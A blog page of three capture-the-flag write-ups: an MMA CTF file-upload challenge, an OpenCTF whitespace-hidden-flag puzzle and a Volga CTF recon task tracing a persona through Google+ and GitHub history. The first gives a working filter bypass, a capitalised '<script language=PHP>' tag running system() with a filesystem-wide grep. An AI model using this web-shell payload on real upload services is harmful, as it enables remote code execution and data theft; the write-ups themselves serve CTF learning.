The Description looked something like this:

This uploader deletes all /<\?|php/. So you cannot run php.

http://recocta.chal.mmactf.link:9080/
http://recocta.chal.mmactf.link:9081/ (Mirror 1)
http://recocta.chal.mmactf.link:9082/ (Mirror 2)
http://recocta.chal.mmactf.link:9083/ (Mirror 3)
You can only upload files whose name is matched by /^[a-zA-Z0-9]+\.[a-zA-Z0-9]+$/.


So it sanitizes the content of your upload by stripping "php" & "?". This makes it so you cannot do "<php" or "<?" to start php interpretation.

At first I tried a few different variations on those beginning tokens, with spaces, escapes & html codes etc.

If you look up beginnings for php, you'll find a special one written in html: https://wiki.php.net/rfc/remove_alternative_php_tags

So now we can write a file such as this:
<script language=php> echo "testing"; </script>
Looks like the file didn't parse correctly, but it also looks like it stripped php, just like the regex shows.

Let's try capitalizing it so it reads:
<script language=PHP> echo "testing"; </script>

Sure enough, we upload this, and it works!

Now we need to do something more important with the payload we upload. Let's try finding the flag! Grep should do the trick!
<script language=PHP> echo system("egrep -rnis 'MMA\{' /"); </script>

Using 'MMA{' as the prefix to the flag seemed like a safe bet, searching all files starting from root.

/flag:1:MMA{you can run php from script tag} /flag:1:MMA{you can run php from script tag}

Flag: MMA{you can run php from script tag}

Sunday, August 16, 2015

Defcon 23 :: OpenCTF 2015 - Absence (200)


I loved this challenge, it exactly my cup of tea in the lands of obscurity.

Here's the code provided in the challenge:

#include           
 
void one(char k)          
{ 
  unsigned int i, bytes[]={0x0a,0x5d,0x2c,0x0b,0x37,0x38,0x04,0x05,0x1f,0x4c,0x05,0x1f,0x4c,0x02,0x03,0x18,0x4c,0x18,0x04,0x09,0x4c,0x0f,0x03,0x08,0x09,0x4c,0x15,0x03,0x19,0x4b,0x1e,0x09,0x4c};       
 
  for(i=0; i<32; i++)       
 printf("%c",(char)bytes[i]^k);
  printf("\n");          
} 
            
 
char two(char c)          
{ 
  return (c^0x32)-7;        
} 
            
 
void main(int argc, char** argv)         
{ 
  // lo0kin-fo
  one(two('A'));          
} 
  




First I tried compiling it and looking at the output. When doing this we get the following:
f1@g[This is not the code you're 

Cool, starts with a lead! That's nice!
After trying to change the 'A' value on line 22, to see if it changed the output, I got nothing and moved on to look for other clues.
Playing around in vim, one act I occasionally play with is pressing $ to go to the end of the line and skimming through the code by hitting each end point. In this case, there were a few spaces after one of the lines. With a past in heavy code reviews, this made me a little uneasy inside, so I decided to do another quick check:
/\t
With that we get wayy too many tab characters in irregular places:



This immediately redirects my thoughts to Whitespace, the programming language. If you're unfamiliar with whitespace, you can check out an example program here - http://www.99-bottles-of-beer.net/language-whitespace-154.html
The gist is that it's a language completely comprised of spaces, tabs, and linefeeds.

Because it's whitespace, and not the most supported in the world, I decided to do something I rarely find myself doing - finding an online compiler. In this case, there was a great one with a gomod example of whitespace found here - http://www.tutorialspoint.com/execute_whitespace_online.php (If anyone knows of good offline *nix whitespace compilers, please leave them in the comments section below!)
 lo0kin-fo]

This resulted in the full flag:
f1@g[This is not the code you're lo0kin-fo]

Sunday, May 3, 2015

Volga CTF 2015 - Find Him (Recon) 250

Volga was a fun CTF, with many Recon and Stego challenges as well as challenging pwnables and reversing.  One of the challenges I helped with the most was the "Find Him" recon assignment.  You were given one hint to start with: "Find Greg Medichi he is from Sydney, his code contains a valuable data"

Simple enough, let's search google for an exact match of his name "Greg Medichi"
Cool, only 3 results!  And one of them is the Sydney G+ page, let's check it out.
Search on the page for his name again, hmmmmm no dice, but it was crawled returning his name so it must be in a comment or in the cache.  Cache didn't show a readable page so the next choice was to look through the source.  After pulling up the Chrome's element inspector and searching again for his name, it showed up in a few places.  Now is the point of preference, but I thought it may be a lot easier to search through this on the terminal, so I curled the G+ Sydney page to find a link to his profile image and personal G+ page.

Next after curling his G+ page I grepped for 'code' which returned a post to his github account.

After checking out his github page, he only had one repo with no other contributions.  The flag must be close....
Looking through the repo it looked like .gitignore could be interesting, but then there was also another branch.  After checking out the branch, the flag was found in a previous commit.

Simple Example Workflow:

curl https://plus.google.com/+Sydney | grep -i "greg medichi" | tr '"' '\n' | egrep -i "greg|http" | tail -n 3

G+ Profile Image: https://lh3.googleusercontent.com/-M-UOwrBR81s/AAAAAAAAAAI/AAAAAAAAABM/LA55YSwP-Bg/photo.jpg
G+ Profile Page: https://plus.google.com/100247380806038877359
curl https://plus.google.com/100247380806038877359 | grep -i code | tr '"' '\n' | grep -i greg | tail -n 3

Check out the github account... Only one repo....
git clone https://github.com/gregmedichi/todoapp
cd todoapp
git branch -a

Find the other branch "front_end"
git checkout origin/front_end
git log

Found a log entry mentioning "unfinished" changes
git checkout 6b5334844a19413124605b77507437924d233f27
git diff master

String Found in Diff:
+          <!-- TODO Add a logic Fl@g={LURK1NG_G1T_1S_PHUN} -->